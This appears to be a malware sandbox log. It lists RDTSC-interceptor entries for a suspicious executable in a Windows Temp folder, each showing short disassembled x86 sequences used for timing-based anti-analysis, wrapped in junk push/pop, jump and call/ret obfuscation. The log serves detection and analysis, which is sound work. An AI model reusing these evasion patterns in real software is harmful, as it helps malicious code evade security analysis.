Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25394 second address: F253A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c jo 00007F9E7960D37Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F253A8 second address: F253C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9E78CDB7AEh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F253C4 second address: F253D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F9E7960D376h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F253D8 second address: D9DCAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 and edi, 2AF72374h 0x0000000e push dword ptr [ebp+122D0BD1h] 0x00000014 cmc 0x00000015 call dword ptr [ebp+122D25E8h] 0x0000001b pushad 0x0000001c mov dword ptr [ebp+122D283Dh], ecx 0x00000022 xor eax, eax 0x00000024 mov dword ptr [ebp+122D283Dh], edx 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e add dword ptr [ebp+122D2802h], eax 0x00000034 sub dword ptr [ebp+122D2825h], edi 0x0000003a mov dword ptr [ebp+122D2D72h], eax 0x00000040 cld 0x00000041 mov esi, 0000003Ch 0x00000046 sub dword ptr [ebp+122D2825h], ecx 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 jmp 00007F9E78CDB7AAh 0x00000055 clc 0x00000056 lodsw 0x00000058 jmp 00007F9E78CDB7AAh 0x0000005d add eax, dword ptr [esp+24h] 0x00000061 jmp 00007F9E78CDB7ACh 0x00000066 mov ebx, dword ptr [esp+24h] 0x0000006a jmp 00007F9E78CDB7B1h 0x0000006f nop 0x00000070 jmp 00007F9E78CDB7B7h 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F9E78CDB7AFh 0x0000007d rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F254E0 second address: F254F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25533 second address: F25538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25538 second address: F25587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add edi, 67175A91h 0x00000012 push 00000000h 0x00000014 call 00007F9E7960D388h 0x00000019 pushad 0x0000001a mov di, dx 0x0000001d mov si, 7646h 0x00000021 popad 0x00000022 pop edi 0x00000023 push 00864FB4h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F9E7960D381h 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25587 second address: F2564E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 00864F34h 0x0000000e push 00000003h 0x00000010 sbb dh, 00000031h 0x00000013 mov edi, 6B53D800h 0x00000018 push 00000000h 0x0000001a pushad 0x0000001b or dword ptr [ebp+122D39ACh], eax 0x00000021 popad 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F9E78CDB7A8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000017h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e jmp 00007F9E78CDB7ABh 0x00000043 jnc 00007F9E78CDB7A9h 0x00000049 call 00007F9E78CDB7A9h 0x0000004e jo 00007F9E78CDB7B2h 0x00000054 jmp 00007F9E78CDB7ACh 0x00000059 push eax 0x0000005a jmp 00007F9E78CDB7B5h 0x0000005f mov eax, dword ptr [esp+04h] 0x00000063 jmp 00007F9E78CDB7B2h 0x00000068 mov eax, dword ptr [eax] 0x0000006a jmp 00007F9E78CDB7B5h 0x0000006f mov dword ptr [esp+04h], eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jg 00007F9E78CDB7ACh 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F2564E second address: F25658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F9E7960D376h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25658 second address: F2565C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F256EC second address: F25755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007F9E7960D38Fh 0x00000011 push edx 0x00000012 jmp 00007F9E7960D387h 0x00000017 pop edx 0x00000018 nop 0x00000019 call 00007F9E7960D37Dh 0x0000001e jmp 00007F9E7960D37Bh 0x00000023 pop edx 0x00000024 jmp 00007F9E7960D37Eh 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D1D6Eh], edi 0x00000031 call 00007F9E7960D379h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push esi 0x0000003b pop esi 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25755 second address: F2575F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9E78CDB7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F2575F second address: F2577C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F2577C second address: F2578A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F2578A second address: F25816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jno 00007F9E7960D38Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007F9E7960D37Fh 0x00000017 pop eax 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F9E7960D378h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 00000003h 0x00000034 sub dword ptr [ebp+122D1D2Eh], esi 0x0000003a push 00000000h 0x0000003c jmp 00007F9E7960D389h 0x00000041 push 00000003h 0x00000043 mov cx, ax 0x00000046 call 00007F9E7960D379h 0x0000004b push eax 0x0000004c push edx 0x0000004d push ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25816 second address: F2581B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F2581B second address: F25882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F9E7960D37Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e ja 00007F9E7960D37Eh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F9E7960D37Fh 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jl 00007F9E7960D37Ch 0x00000026 jo 00007F9E7960D376h 0x0000002c push esi 0x0000002d jmp 00007F9E7960D37Eh 0x00000032 pop esi 0x00000033 popad 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 push eax 0x00000039 push edx 0x0000003a je 00007F9E7960D378h 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F45C1C second address: F45C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F176EB second address: F176F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9E7960D376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F43BF4 second address: F43BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F43E6E second address: F43E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F4411A second address: F44120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F444B7 second address: F444E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D37Eh 0x00000009 popad 0x0000000a jo 00007F9E7960D385h 0x00000010 jmp 00007F9E7960D37Fh 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F446B8 second address: F446CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F446CA second address: F446D4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9E7960D382h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F446D4 second address: F446DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F4483C second address: F44842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F3A913 second address: F3A91B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F44DA3 second address: F44DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F44DAC second address: F44DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F45572 second address: F45578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F45578 second address: F4557E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F4934B second address: F4939F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9E7960D389h 0x00000008 jmp 00007F9E7960D386h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop eax 0x00000016 jp 00007F9E7960D378h 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 pop eax 0x00000026 jng 00007F9E7960D376h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F4939F second address: F493D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jg 00007F9E78CDB7B2h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F493D6 second address: F493DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F493DA second address: F493F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9E78CDB7AFh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F0BA1C second address: F0BA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 jmp 00007F9E7960D37Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F503E4 second address: F503EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F503EA second address: F503F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F9E7960D376h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F503F7 second address: F5040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F53F28 second address: F53F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F9E7960D37Dh 0x0000000d jno 00007F9E7960D387h 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jc 00007F9E7960D376h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F53F63 second address: F53F67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F53F67 second address: F53F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F53F6D second address: F53FAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnc 00007F9E78CDB7B0h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 je 00007F9E78CDB7A6h 0x0000001e jnl 00007F9E78CDB7A6h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F53FAE second address: F54005 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9E7960D378h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F9E7960D378h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F9E7960D386h 0x0000002c call 00007F9E7960D379h 0x00000031 jc 00007F9E7960D382h 0x00000037 jl 00007F9E7960D37Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F543CF second address: F543D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F54B4C second address: F54B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F54B50 second address: F54B61 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9E78CDB7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F54BD9 second address: F54BDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F54BDE second address: F54C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F9E78CDB7A8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push eax 0x00000025 mov dword ptr [ebp+122D1DB8h], ebx 0x0000002b pop edi 0x0000002c nop 0x0000002d jc 00007F9E78CDB7BFh 0x00000033 jmp 00007F9E78CDB7B9h 0x00000038 push eax 0x00000039 pushad 0x0000003a push esi 0x0000003b jmp 00007F9E78CDB7B2h 0x00000040 pop esi 0x00000041 pushad 0x00000042 jmp 00007F9E78CDB7B4h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F54DB1 second address: F54DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F5521B second address: F55220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F556EA second address: F556EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F556EF second address: F556FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F9E78CDB7A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F556FA second address: F5578C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F9E7960D378h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 jmp 00007F9E7960D382h 0x00000029 push 00000000h 0x0000002b jne 00007F9E7960D37Ch 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007F9E7960D378h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 0000001Ch 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d jg 00007F9E7960D383h 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F9E7960D37Bh 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F5578C second address: F557B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jmp 00007F9E78CDB7B2h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F5893F second address: F589BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D2CB6h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F9E7960D378h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D2839h], eax 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007F9E7960D378h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 jnp 00007F9E7960D379h 0x00000056 xchg eax, ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jg 00007F9E7960D37Ch 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F589BF second address: F589C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F59E99 second address: F59E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F59E9F second address: F59EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F59EA4 second address: F59EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F59EAA second address: F59EBB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
